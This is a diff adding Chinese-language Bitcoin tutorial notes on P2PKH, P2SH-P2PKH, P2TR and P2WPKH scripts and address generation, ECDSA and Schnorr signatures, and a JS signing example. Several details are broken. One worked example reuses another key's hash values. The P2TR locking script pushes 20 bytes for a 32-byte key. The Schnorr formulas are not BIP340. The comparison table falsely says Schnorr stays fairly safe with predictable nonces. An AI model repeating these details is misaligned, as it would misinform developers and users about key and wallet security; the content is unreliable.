+- OP_DUP 从栈里取出公钥，复制并做HASH160推进栈顶
+- OP_EQUALVERIFY 对比上一步的计算结果和Public Key Hash
+- OP_CHECKSIG 校验数字签名，如果通过锁定脚本合法可以花费对应UTXO，如果不通过交易失败
+
+## 地址生成
+
+P2PKH支付方式从公钥生成地址遵循以下详细步骤：
+
+### 步骤1: 计算公钥哈希
+
+1. **计算公钥的SHA-256哈希值**：首先，对公钥进行SHA-256哈希运算。
+2. **计算RIPEMD-160哈希值**：然后，对SHA-256的结果再进行RIPEMD-160哈希运算。这两步哈希运算的结果称为公钥哈希（PKH）。
+
+### 步骤2: 添加版本字节
+
+- **添加版本字节**：在公钥哈希前添加一个版本字节（比特币主网络的P2PKH地址的版本是0x00, 测试网是0x6f）。这有助于钱包软件识别和处理不同类型的地址。
+
+### 步骤3: 计算校验和
+
+1. **双重SHA-256哈希**：对带有版本字节的公钥哈希进行两次SHA-256哈希运算。
+2. **取前四个字节**：从双重哈希的结果中取出前四个字节，这部分称为校验和。
+
+### 步骤4: 生成地址
+
+- **组合和Base58编码**：将版本字节和公钥哈希以及校验和组合在一起，整个结构为：
+  ```js
+  [version byte][public key hash][checksum]
+  ```
+  然后，对整个字节串进行Base58编码，以生成最终的P2PKH地址。
+
+### 示例
+
+假设有一个公钥，步骤如下：
+
+1. **公钥**： `022c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469`
+2. **SHA-256哈希**：计算结果: `98a21cf747c0fcd80845afffa2260feb64aa7cc2b73ac681407b25229bad3bbc`。
+3. **RIPEMD-160哈希**：计算结果: `999ff7726530ed0d0a7eb3b7442c5143f643f638`。
+4. **添加版本字节**：`00` + [RIPEMD-160哈希结果]。
+5. **计算校验和**：对上述结果执行两次SHA-256，取前四个字节。
+6. **Base58编码**：将最终字节串转换为Base58编码：`1F1J22NAAgnNHXNojT7W8GfP9JSXXjTV8N`
diff --git a/BTC/Basic/payment/P2SH-P2PKH.md b/BTC/Basic/payment/P2SH-P2PKH.md
new file mode 100644
index 000000000..3ec7e608d
--- /dev/null
+++ b/BTC/Basic/payment/P2SH-P2PKH.md
@@ -0,0 +1,113 @@
+# 简介
+
+[P2SH-P2PKH（Pay to Script Hash - Pay to Public Key Hash）](../wallet/address.js#L43)是一种混合地址类型，结合了P2SH（支付到脚本哈希）和P2PKH（支付到公钥哈希）的特点。这种地址类型旨在增强比特币交易的灵活性和安全性。`P2SH`是在2012年通过比特币改进提案BIP 0016引入的，允许用户发送比特币到一个脚本的哈希值，而不是直接发送到公钥的哈希值。这样做的好处是可以隐藏脚本的具体细节，只有在花费比特币时才需要揭示。这对于实现更复杂的交易类型（如多重签名）非常有用。`P2SH-P2PKH`结合了`P2SH`和`P2PKH`的特性。在这种地址类型中，交易输出不是直接支付到公钥哈希，而是支付到一个包含`P2PKH`脚本的`P2SH`地址。`P2SH-P2PKH`地址通常以“3”开始，不同于传统的`P2PKH`地址，后者以“1”开始。这种地址类型是比特币地址方案中的一种进阶形式，适用于需要额外安全或复杂交易类型的用户。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+在P2SH-P2PKH交易中，锁定脚本不直接包含传统的P2PKH脚本。相反，它包含了对应P2PKH脚本的哈希值。锁定脚本的形式如下：
+
+```js
+// 模版
+OP_HASH160 <scriptHash> OP_EQUAL
+其中
+scriptHash = hash160(OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG)
+
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 脚本哈希
+OP_EQUAL // 比较栈顶两个元素相等
+```
+
+## ScriptSig(解锁脚本)
+
+要解锁花费此脚本，上面公钥的所有者需要提供公钥，有效签名以及原始脚本
+
+```js
+// 模版
+<Singature> <Public Key> <redeemScript>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+OP_PUSHBYTES_25 // 推送25字节到栈顶
+76a9148876d7c7a76e29c4c9d160c066fead1d2adfe5a788ac // 赎回脚本
+```
+
+## 执行过程
+
+1. 脚本合并，ScriptSig在前ScriptPubKey在后
+
+```js
+<Singature> <Public Key> <redeemScript> OP_HASH160 <scriptHash> OP_EQUAL
+
+其中
+redeemScript = OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+
+scriptHash = hash160(OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG)
+```
+
+2. 栈内执行
+
+- 提取和验证`redeemScript`：  
+  首先，从`ScriptSig`中提取`redeemScript`。
+  然后，计算`redeemScript`的哈希值，并检查它是否与`ScriptPubKey`中的`<scriptHash>`相匹配。
+
+- 执行`redeemScript`：  
+  如果`redeemScript`的哈希值验证通过，接下来的步骤是执行`redeemScript`本身。
+  这时，栈中应该已经有了签名`<Singature>`和公钥`<Public Key>`。
+  redeemScript首先复制公钥`OP_DUP`，计算公钥的哈希`OP_HASH160`，并与栈中的公钥哈希`<Public Key Hash>`进行比较`OP_EQUALVERIFY`。
+  如果公钥哈希匹配，最后一步是验证签名是否正确`OP_CHECKSIG`。这一步检查提供的签名是否是用相关的私钥对交易的其余部分进行了签名。
+
+- 完成验证：  
+  如果以上步骤都成功，说明交易中的资金可以被花费，否则交易将被拒绝。
+
+## 地址生成
+
+P2SH-P2PKH地址生成遵循以下步骤，这些步骤与生成P2PKH地址的步骤相似，但涉及一些关键的不同之处，特别是在脚本的使用和版本字节的应用上。
+
+### 步骤1: 创建并哈希化 `P2PKH` 脚本
+
+1. **创建 `P2PKH` 脚本**：
+   - 构建一个典型的P2PKH脚本：`OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG`，其中`<Public Key Hash>`是公钥的RIPEMD-160哈希。
+2. **计算脚本的SHA-256哈希值**：
+   - 对整个脚本进行SHA-256哈希运算。
+3. **计算RIPEMD-160哈希值**：
+   - 接着，对SHA-256的结果再进行RIPEMD-160哈希运算。这个哈希值称为脚本哈希（Script Hash）。
+
+### 步骤2: 添加版本字节
+
+- **添加版本字节**：
+  - 在脚本哈希前添加版本字节（比特币主网络的P2SH地址的版本是0x05, 测试网是0xc4）。这有助于钱包软件识别和处理P2SH地址。
+
+### 步骤3: 计算校验和
+
+1. **双重SHA-256哈希**：
+   - 对带有版本字节的脚本哈希进行两次SHA-256哈希运算。
+2. **取前四个字节**：
+   - 从双重哈希的结果中取出前四个字节作为校验和。
+
+### 步骤4: 生成地址
+
+- **组合和Base58编码**：
+  - 将版本字节、脚本哈希以及校验和组合在一起，结构如下：
+    ```js
+    [version byte][script hash][checksum]
+    ```
+  - 然后，对整个字节串进行Base58编码，生成最终的P2SH-P2PKH地址。
+
+### 示例
+
+假设有一个公钥，步骤如下：
+
+1. **公钥**： `04480b6822120e9022c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469936b43859d84c380583c3d0292409b21453ae962815090f8117883c2a3fd7571b12f34491809d48467dae4e2f162aef23de91e4532d0fc1e0c5`
+2. **SHA-256哈希**：计算结果: `98a21cf747c0fcd80845afffa2260feb64aa7cc2b73ac681407b25229bad3bbc`
+3. **RIPEMD-160哈希**：计算结果: `999ff7726530ed0d0a7eb3b7442c5143f643f638`
+4. **创建并哈希化 P2PKH 脚本**：  
+   创建一个P2PKH脚本：OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG。  
+   计算脚本哈希：将整个P2PKH脚本进行SHA-256哈希运算，然后再进行RIPEMD-160哈希运算，生成脚本哈希。
+5. **添加版本字节**：`05` + [RIPEMD-160哈希结果]。
+6. **计算校验和**：对上述结果执行两次SHA-256，取前四个字节。
+7. **Base58编码**：将最终字节串转换为Base58编码：`3NB2grHkCeer9o7Guvr6qCXCsDsjX3mTan`
diff --git a/BTC/Basic/payment/P2TR.md b/BTC/Basic/payment/P2TR.md
new file mode 100644
index 000000000..b457a6840
--- /dev/null
+++ b/BTC/Basic/payment/P2TR.md
@@ -0,0 +1,68 @@
+# 简介
+
+[P2TR（Pay to Taproot）](../wallet/address.js#L45)是一种使用Taproot技术的比特币地址类型，由BIP 0341在2020年正式引入。Taproot是通过使用Schnorr签名和MAST（Merkelized Abstract Syntax Trees）来增强比特币的隐私性和效率。Taproot Output 是版本为 1 的隔离见证 Output，统一了这两种形式。P2TR 的 Output 的 scriptPubKey 字段是一样的，我们无法从 Output 的格式来得知这个 Output 是由 Schnorr 签名锁定（即 Key Path）还是由脚本锁定（即 Script Path），这样有更好的隐私。这种类型的地址支持更复杂的条件，同时在外部看起来与普通交易无异。P2TR地址通常使用Bech32m编码格式，以“bc1p”开始。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+在P2TR交易中，锁定脚本包括：
+
+```js
+// 模版
+OP_1 <x-only-pubkey>
+
+
+OP_1 // 表示版本号，对于P2TR是1
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // tweaked-public-key
+```
+
+- `OP_1`：标识Taproot版本号，目前为1。
+- `<x-only-pubkey>`：是tweak公钥的X坐标，key path和script path在生成方式上不同，采用32字节的压缩格式。
+
+## Witness(见证数据)
+
+解锁P2TR输出，需要在见证字段提供以下信息，具体取决于花费条件：
+
+```js
+// 模版
+[signature] [control block] [script]
+
+01  // Witness 元素的个数
+40  // schnorr签名长度
+743bbb3df4e95df5e70c2a3e72dd9d05933a018ad1bbd4b700841824ed18bebbc54d1b4d03b252aaa5c373390c68ba119fdf70e0bab71694a4db0da3fe8fefcc  // schnorr签名
+```
+
+- `signature`：Schnorr签名。
+- `control block`：如果是通过脚本路径花费，包含与Taproot脚本路径相关的数据
+- `script`：如果是通过脚本路径花费，此处包含实际脚本。
+
+## 执行过程
+
+P2TR分为key path和script path，通过在花费 P2TR UTXO 时，Witness 中包含元素个数来区分，只包含一个元素签名的即为key path。签名算法可以参考[Schnorr](../signature/README.md#L105)，P2TR的验签过称可以参考[taproot](https://aandds.com/blog/bitcoin-taproot.html)
+
+## 地址生成
+
+P2TR地址包含key path和script path两种情况，目前常见的钱包支持基于用户公钥的key path地址，改地址的生成过程如下：
+
+### 步骤1: 获取用户公钥
+
+获取用户公钥的`internalPubkey`坐标 `P`  
+ $P = toXOnly(internalPubkey)$
+
+### 步骤2: 计算扭曲公钥
+
+$Q = P + t\*G = P + TaggedHash('TapTweak', P)G$
+
+### 步骤3: Bech32m编码
+
+使用Bech32m编码方案将曲公钥编码为一个P2TR地址。这种编码格式提供了比Bech32更好的错误校验能力。
+
+### 示例
+
+假设有一个公钥的X坐标，步骤如下：
+
+1. **公钥X坐标**： `2c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469`
+2. **扭曲公钥X坐标**： `84d67b14669b9eccf5fa76ac48294527e44e829a4534f0e695061e5a1a5a5c20`
+3. **Bech32m编码**：将扭曲公钥X坐标转换为Bech32m编码：`bc1psnt8k9rxnw0vea06w6kys229yljyaq56g560pe54qc095xj6tssq3fpwfp`
diff --git a/BTC/Basic/payment/P2WPKH.md b/BTC/Basic/payment/P2WPKH.md
new file mode 100644
index 000000000..f8884e9a6
--- /dev/null
+++ b/BTC/Basic/payment/P2WPKH.md
@@ -0,0 +1,71 @@
+# 简介
+
+[P2WPKH（Pay to Witness Public Key Hash）](../wallet/address.js#L44)是一种新型地址格式，它是隔离见证（SegWit）的一部分，由比特币改进提案BIP 0141在2017年引入。这种地址类型主要目的是减小交易的大小，从而降低手续费，同时增加交易的修改抵抗力（malleability resistance）。`P2WPKH`简化了标准的`P2PKH`地址脚本，将签名和公钥信息从交易的脚本部分移至见证部分，这样做有助于更高效的签名验证和交易大小的减小。`P2WPKH`地址通常以“bc1”开始，使用Bech32编码格式，与传统的`P2PKH`和`P2SH`地址格式（分别以“1”和“3”开始）显著不同。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+在P2WPKH交易中，锁定脚本变得非常简洁：
+
+```js
+// 模版
+OP_0 <pubKeyHash>
+
+OP_0  // 表示版本号，对于P2WPKH是0
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+```
+
+- `OP_0`：表示版本号，对于P2WPKH是0。
+- `<pubKeyHash>`：是公钥的SHA-256哈希后再进行RIPEMD-160哈希的结果，和传统P2PKH的处理方式相同。
+
+## Witness(见证数据)
+
+为了解锁P2WPKH输出，需要在见证字段提供以下信息：
+
+```js
+// 模版
+<Singature> <Public Key>
+
+02  // 见证数据的数量
+48  // 第一个见证数据的长度72字节
+3045022100a5eec95c65d2dd679e8fdcc10668d5d51446f24d1557859cb543e570201257c6022011df04f803a08c97de213ddf211ad193045ff25e59857324a28656de1961351c01  // 签名数据
+21  // 第二个见证数据的长度33字节
+0295f97f41d0d523bddf39e77e16cc0dda2e56b9bd9fdea10133656635b2c28a39  // 压缩公钥
+```
+
+## 执行过程
+
+1. 脚本合并同P2PKH，使用Witness替换ScriptSig在前，ScriptPubKey在后
+
+```js
+<Singature> <Public Key> OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+```
+
+2. 栈内执行通P2PKH
+
+- OP_DUP 从栈里取出公钥，复制并做HASH160推进栈顶
+- OP_EQUALVERIFY 对比上一步的计算结果和Public Key Hash
+- OP_CHECKSIG 校验数字签名，如果通过锁定脚本合法可以花费对应UTXO，如果不通过交易失败
+
+## 地址生成
+
+P2WPKH地址的生成过程如下：
+
+### 步骤1: 计算公钥哈希
+
+- 使用公钥生成哈希：首先对公钥进行SHA-256，然后进行RIPEMD-160哈希运算。
+
+### 步骤2: Bech32编码
+
+- 使用Bech32编码方案将公钥哈希编码为一个P2WPKH地址。这包括将数据与校验和一起编码，提供了更好的错误检测能力。
+
+### 示例
+
+假设有一个公钥，步骤如下：
+
+1. **公钥**： `022c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469`
+2. **SHA-256哈希**：计算结果: `98a21cf747c0fcd80845afffa2260feb64aa7cc2b73ac681407b25229bad3bbc`
+3. **RIPEMD-160哈希**：计算结果: `999ff7726530ed0d0a7eb3b7442c5143f643f638`
+4. **Bech32编码**：将最终字节串转换为Bech32编码:`bc1qnx0lwun9xrks6zn7kwm5gtz3g0my8a3cqde85n`
diff --git a/BTC/Basic/payment/README.md b/BTC/Basic/payment/README.md
new file mode 100644
index 000000000..962955520
--- /dev/null
+++ b/BTC/Basic/payment/README.md
@@ -0,0 +1,38 @@
+# BTC地址
+
+在比特币系统中，随着技术的发展和用户需求的变化，钱包现在支持多种不同类型的地址格式，每种格式都对应不同的技术标准和特点。这些地址格式包括传统的P2PKH（以1开头），P2SH（以3开头），以及更加现代的SegWit地址（通常以bc1q或bc1p开头）。进行交易时，我们需要为收款者创建一个交易输出，这个输出指定了收款方的地址和交易的金额。
+
+# BTC地址到交易完成
+
+下面以P2PKH（Pay-to-Public-Key-Hash）为例介绍从比特币收款地址到交易构建的详细步骤：
+
+1. 收款地址的获取和格式
+   收款方提供一个P2PKH类型的比特币地址，这种地址通常以数字1开始，例如 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2。这个地址是经过编码的，通常使用Base58Check编码，其中包含了收款方的公钥哈希（public key hash）。
+
+2. Base58Check解码
+   当付款方接收到一个比特币地址后，他们会使用Base58Check解码来提取地址中的公钥哈希。Base58Check编码不仅帮助减少字符混淆（移除了容易混淆的字符如0（零）、O（大写字母O）、I（大写字母i）和l（小写字母L）），还内嵌了一个错误检测机制。
+
+3. 构建锁定脚本（ScriptPubKey）
+   解码过程提取出的公钥哈希接着用来构建一个所谓的锁定脚本（ScriptPubKey），这个脚本是交易输出的一部分。对于P2PKH地址，锁定脚本的格式通常如下：
+
+```js
+OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+```
+
+4. 构建交易
+   付款方将锁定脚本放置在新的交易输出中，并指定转账金额。这个输出现在会被添加到新的交易中。除此之外，交易还需要包含至少一个输入（来自付款方的一个或多个以前的交易输出），这些输入提供了足够的资金来覆盖转账金额和网络矿工费。
+
+5. 签名和广播交易
+   一旦交易构建完毕，付款方需要用他们的私钥对交易进行签名，证明他们有权使用指定的输入资金。完成签名后，交易将被广播到比特币网络，网络的矿工们开始验证这个交易的合法性，如果合法，最终将其加入到区块链中，完成资金的转移。
+
+# 常见支付方式
+
+| 支付方式 | 全称                    | 地址前缀 | 脚本类型 | 主要特点                                        | 示例地址      |
+|----------|-------------------------|----------|----------|-------------------------------------------------|---------------|
+| [P2PKH](./P2PKH.md)    | Pay-to-Public-Key-Hash  | 1        | P2PKH    | 最常用，公钥哈希方式，隐私性好，地址以 "1" 开头 | 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa |
+| [P2SH](./P2SH-P2PKH.md)     | Pay-to-Script-Hash      | 3        | P2SH    | 支付到脚本的哈希值，支持复杂的脚本，地址以 "3" 开头 | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
+| [P2WPKH](./P2WPKH.md)   | Pay-to-Witness-Public-Key-Hash | bc1q    | P2WPKH  | 使用隔离见证（SegWit），更低交易费用，地址以 "bc1q" 开头 | bc1qar0srrr7xf6h4g1ks7zft6wz7x4n7pkjkcn6lq |
+| P2WSH    | Pay-to-Witness-Script-Hash   | bc1q    | P2WSH   | 使用隔离见证，支持复杂脚本，地址以 "bc1q" 开头 | bc1qrp33g0q0s6fphxtww9g4ndzsd74ny3rps6m74dxg7mjsg5c0z9rhdj |
+| [P2TR](./P2TR.md)     | Pay-to-Taproot          | bc1p    | P2TR    | 使用 Taproot 功能，优化脚本执行和隐私，地址以 "bc1p" 开头 | bc1p4gr63h6fp9hrkwpf4sjwx4s34a5w6b6ptfhl5k7vph3ykq6s5h7gx5m |
+
+
diff --git a/BTC/Basic/signature/README.md b/BTC/Basic/signature/README.md
new file mode 100644
index 000000000..570236925
--- /dev/null
+++ b/BTC/Basic/signature/README.md
@@ -0,0 +1,167 @@
+# 比特币中的数字签名
+
+## ECDSA
+比特币（BTC）在设计初期使用椭圆曲线数字签名算法（ECDSA）来保证交易的安全性。ECDSA在比特币中的应用提供了强大的安全性，保证交易不可篡改且可验证。它是确保比特币网络信任和安全的关键技术之一。
+
+### 椭圆曲线密码学基础
+椭圆曲线定义：在比特币中，通常使用的是secp256k1椭圆曲线。这条曲线在一个有限域上定义，具有一定的形状，能够提供高强度的加密保护。  
+公钥和私钥：私钥是一个随机选定的数，而公钥是由私钥通过椭圆曲线的数学运算得出的点。
+
+### 生成签名的过程
+使用私钥创建签名：签名是使用交易发起者的私钥生成的。这个过程包括对交易的哈希值进行加密处理。
+签名组成：ECDSA签名由两部分组成，通常表示为（r, s）。  
+r：是椭圆曲线点的x坐标。  
+s：是对交易信息、私钥和一个随机数的数学运算的结果。
+  
+### 验证签名的过程
+使用公钥验证签名：接收方或网络节点使用发送方的公钥来验证签名。如果签名是有效的，这表明交易是由拥有相应私钥的人发起的，从而保证了交易的真实性和不可否认性。  
+确保安全性：只有创建签名的私钥持有者才能生成有效的签名，而计算私钥本身几乎是不可能的，因为这需要在有限的时间内解决非常复杂的数学问题。
+
+### 比特币中的应用
+交易认证：比特币交易使用ECDSA签名来验证交易的合法性。每笔交易都包括至少一个输入（来源资金）和一个输出（目的地资金）。  
+防止篡改：ECDSA签名保证了一旦交易被签名，任何对交易内容的修改都会使签名失效，从而防止了交易的篡改。
+
+椭圆曲线密码学提供了比传统的RSA算法更高的安全性，这意味着即使使用更短的密钥，也能提供同等甚至更高的安全性。
+
+### 数学公式
+#### 密钥生成 (genKey)
+1. 随机产生私钥 $d$，选点 $G$。
+2. 计算公钥 $Q = d \* G $
+   
+注意事项： $G$点阶数 $n$，但是根据椭圆曲线随机选点 $G$却是计算出来难点。
+
+#### 加密 (encrypt)
+1. 选择随机数r的点 $k = r \* G $，随机数r。
+2. 计算密文： $C_1 = M + r \* Q $,  $C_2 = r \* G $
+
+#### 解密 (decrypt)
+1.  $C_1 - d \* C_2 = M + r \* Q - r(d \* G) = M + r \* Q - r \* Q = M $
+
+#### 签名 (sign)
+1. 对消息m使用哈希算得摘要z，摘要 $z = hash(m)$
+2. 生成随机数 $k ∈ [1,n)$，计算点 $k = r \* G $
+3. 摘要 $z$， $R = k $，计算 $s = k^{-1}(z + rd) \mod n $，签名为  (r, s)  
+4. 计算 $s = k^{-1}(z + rd) \mod n  $，签名 =  (r, s) 即是进行授权协议
+5. 以上 $(r, s)$ 即为ECDSA签名
+
+#### 验证 (verify)
+使用公钥Q和消息m，对签名 $(r, s)$ 进行验证。
+
+1. 验证 $r, s ∈ [1, n)$
+2. 计算 $z = hash(m)$
+3. 计算 $u_1 = z \* s^{-1} \mod n$ 和 $u_2 = r \* s^{-1} \mod n  $
+4. 计算 $(x, y) = u_1 \* G + u_2 \* Q \mod n$
+5. 判断 $r == x$，若相等则验证签名正确
+
+#### 恢复 (recover)
+已知消息m和签名 $(r, s)$，恢复计算出公钥 $Q$
+
+1. 验证 $r, s ∈ [1, n)$
+2. 计算 $R = (x, y)$，其中 $x = r, y + r, y + nr, y + 2nr, ...,$ 代入R到曲线方程计算得到R
+3. 计算 $z = hash(m)$
+4. 计算 $u_1 = z \* r^{-1} \mod n$ 和 $u_2 = s \* r^{-1} \mod n$
+5. 计算公钥 $Q = (x', y') = u_1 \* G + u_2 \* R $
+
+### 签名分析
+#### 签名内容
+对于使用ECDSA的比特币交易，签名通常包括两部分：r 和 s，每部分通常是32字节，但也可能因数字的大小而稍有变化。因此，一个典型的ECDSA签名大约是64字节，但当包括签名编码和额外的元数据（如签名哈希类型）时，长度可能会变长。
+#### 签名的具体长度
+具体到比特币的签名，它通常包括以下几个部分：
+- r值：32字节
+- s值：32字节
+- 签名哈希类型（SIGHASH）：通常是1字节
+此外，签名还可能包括序列化格式的前缀（如0x30），以及长度描述符，这些都会增加几个字节。
+
+#### 签名案例
+```js
+// 签名
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401
+```
+
+##### DER编码的ECDSA签名结构
+一个典型的ECDSA签名的DER编码格式如下：
+- 0x30: 表示这是一个序列（SEQUENCE），后面跟随的是整个序列的长度。
+- 紧接着的第一个字节（或两个字节，取决于长度）是整个签名结构的长度。
+- 0x02: 表示一个整数（INTEGER）的开始，这是签名的第一部分，即r值。
+- 紧接着的一个字节（或两个字节）是r值的长度。
+- r值本身。
+- 另一个0x02，表示第二个整数的开始，这是签名的第二部分，即s值。
+- 紧接着的一个字节（或两个字节）是s值的长度。
+- s值本身。
+##### 分析具体内容
+1. 30: 序列开始。
+2. 45: 表示序列的长度（十进制的69字节）。
+3. 02: r值的整数开始。
+4. 21: r值的长度（十进制的33字节，包含前导0，因为r值开始于00，这通常用于表示正数以避免整数被误认为负数）。
+5. 00c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e: r值。
+6. 02: s值的整数开始。
+7. 20: s值的长度（十进制的32字节）。
+8. 5aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a7724: s值。
+9. 最后的01是签名的SIGHASH类型，表示这是一个标准的所有输出签名。
+
+## Schnorr
+比特币的Schnorr签名是一种相对较新的签名算法，它与传统的椭圆曲线数字签名算法（ECDSA）相比，提供了几个关键优势。在2020年的比特币协议升级中，Schnorr签名通过BIP340提案得到了引入。以下是Schnorr签名的详细介绍：
+
+### Schnorr签名概述
+发明者：Schnorr签名由Claus Schnorr提出。  
+算法特性：Schnorr签名基于椭圆曲线密码学，与ECDSA使用相同的椭圆曲线。  
+简洁性和效率：Schnorr签名比ECDSA更简洁、高效。它生成的签名更小，处理速度更快。
+
+### Schnorr签名的优势
+线性性：Schnorr签名具有线性特性，使得多签名（multi-signature）操作更简单有效。这意味着可以将多个签名组合成一个单一签名，从而减少数据的大小和处理时间。  
+隐私和安全性：Schnorr签名提升了隐私和安全性。它使得各种复杂的交易类型（如多签名交易）在区块链上看起来与普通交易无异，从而提高了隐私性。  
+防止重放攻击：Schnorr签名包含额外的措施来防止重放攻击，这是ECDSA所缺乏的。
+
+### 比特币中的应用
+简化多签名：Schnorr签名简化了比特币网络中的多签名交易处理，减少了数据量和验证所需的时间。  
+批量验证：Schnorr签名支持批量验证，允许网络同时验证多个签名，提高了整体效率。  
+Taproot升级：结合Schnorr签名的Taproot升级为比特币引入了更高的效率和隐私性。
+
+### 签名过程
+私钥和公钥：与ECDSA一样，Schnorr签名使用一对私钥和公钥。  
+签名生成：签名是使用私钥和交易的哈希值生成的。Schnorr签名的计算相对简单，它包括了一些线性数学运算。
+   
+### 全性和效率
+安全性：Schnorr签名被认为至少与ECDSA同等安全，有些专家认为其安全性更高。  
+效率和可扩展性：签名的大小和验证的效率对于比特币网络的可扩展性至关重要。Schnorr签名在这方面表现优异。
+
+Schnorr签名在比特币中的引入被视为一个重大进步，它提高了交易的隐私性、效率和可扩展性。随着时间的推移，预计Schnorr签名将在比特币网络中发挥越来越重要的作用。
+
+### 数学公式
+#### 密钥生成 (genKey)
+1. 在群的阶 $n$ 内随机选择一个私钥 $d$，通常从 $[1, n)$ 区间选择。
+2. 计算公钥 $Q = d \cdot G$，其中 $G$ 是椭圆曲线上的基点。
+
+#### 签名 (sign)
+1. 从 $[1, n)$ 区间内随机选取一个数 $k$。
+2. 计算 $r = (k \cdot G).x$（即 $k \cdot G$ 点的x坐标）。
+3. 计算签名 $s = (k + d \cdot \text{hash}(m)) \mod n$，这里 $\text{hash}(m)$ 是消息 $m$ 的哈希值。
+4. 签名结果是一个元组 $(r, s)$。
+
+#### 验证 (verify)
+1. 计算 $u1 = \text{hash}(m) \cdot s^{-1} \mod n$。
+2. 计算 $u2 = r \cdot s^{-1} \mod n$。
+3. 计算点 $R' = u1 \cdot G + u2 \cdot Q$。
+4. 验证 $r$ 是否等于 $R'$ 的x坐标，如果相等，则签名有效。
+
+#### 恢复 (recover)
+假设我们有一个有效的Schnorr签名 $(r, s)$ 和消息 $m$，以下是计算公钥的步骤：
+1. 计算消息的哈希值 $e = \text{hash}(m)$。
+2. 计算签名 $s = k + e \cdot d$。
+3. 进行 $k \cdot G$ 运算得到 $s \cdot G = k \cdot G + e \cdot d \cdot G$ 即 $s \cdot G = R + e \cdot Q$。
+4. 最后，公钥 $Q = (s \cdot G - R) / e$ 计算出来。
+5. 其中 $r$ 是 $R$ 的x坐标，可以计算得到 $R$。
+
+
+
+
+## ECDSA VS Schnorr
+
+| 特性       | ECDSA                                     | Schnorr                                      |
+|------------|-------------------------------------------|----------------------------------------------|
+| 安全性     | 基于椭圆曲线离散对数问题的困难性。随机数重用或泄露会暴露私钥。   | 基于椭圆曲线离散对数问题的困难性。对随机数的选择不敏感，即使随机数可预测，也相对安全。 |
+| 效率       | 签名和验证相对复杂，计算量大。                 | 签名和验证过程更高效，特别是在批量操作时。              |
+| 可组合性   | 无签名可组合性。                             | 支持签名聚合，可将多个签名合并为一个。                  |
+| 签名大小   | 包含两个等长的整数`(r, s)`。                    | 同样包含`(r, s)`对，但因可组合性，最终可能存储更少的签名数据。 |
+| 隐私与可证明性 | 无额外隐私保护或可证明性。                      | 签名可组合性可用于增强隐私和提供非交互式的多方协议。       |
+| 实际应用   | 在众多标准和协议中广泛使用，如比特币和以太坊早期版本。    | 由于技术发展被越来越多的系统采纳，例如比特币的BIP 340提案。 |
diff --git a/BTC/Basic/signature/ecdsa.js b/BTC/Basic/signature/ecdsa.js
new file mode 100644
index 000000000..8d56540d3
--- /dev/null
+++ b/BTC/Basic/signature/ecdsa.js
@@ -0,0 +1,29 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import crypto from 'crypto';
+
+/// In this example, we first generate a new private key and corresponding public key.
+/// We then create a simulated transaction hash (in a real application, this would be the actual hash of the transaction) and use the private key to sign this hash.
+/// Finally, we verify that the signature is valid.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Generate a new random private key
+const keyPair = ECPair.makeRandom();
+const privateKey = keyPair.privateKey;
+const publicKey = keyPair.publicKey;
+
+console.log('private key:', privateKey.toString('hex'));
+console.log('public key:', publicKey.toString('hex'));
+
+// Create a hypothetical transaction hash, usually this will be the hash of the real transaction you want to sign
+const txHash = crypto.randomBytes(32);
+
+// signature transaction
+const signature = keyPair.sign(txHash);
+console.log('signature:', signature.toString('hex'));
+
+// verify transaction
+const isValid = keyPair.verify(txHash, signature);
+console.log('signature is valid:', isValid);
diff --git a/BTC/Basic/signature/ecdsaPSBT.js b/BTC/Basic/signature/ecdsaPSBT.js
new file mode 100644
index 000000000..8b6d0e346
--- /dev/null
+++ b/BTC/Basic/signature/ecdsaPSBT.js
@@ -0,0 +1,46 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import bitcoin from 'bitcoinjs-lib';
+
+/// In this example, We get keyPair from WIF.
+/// We then construct a PSBT with one input (which you're spending) and one output (where you're sending bitcoins).
+/// The PSBT is signed using the private key.
+/// Finally, we build the PSBT and print its hexadecimal representation.
+
+const { ECPairFactory } = ecpair;
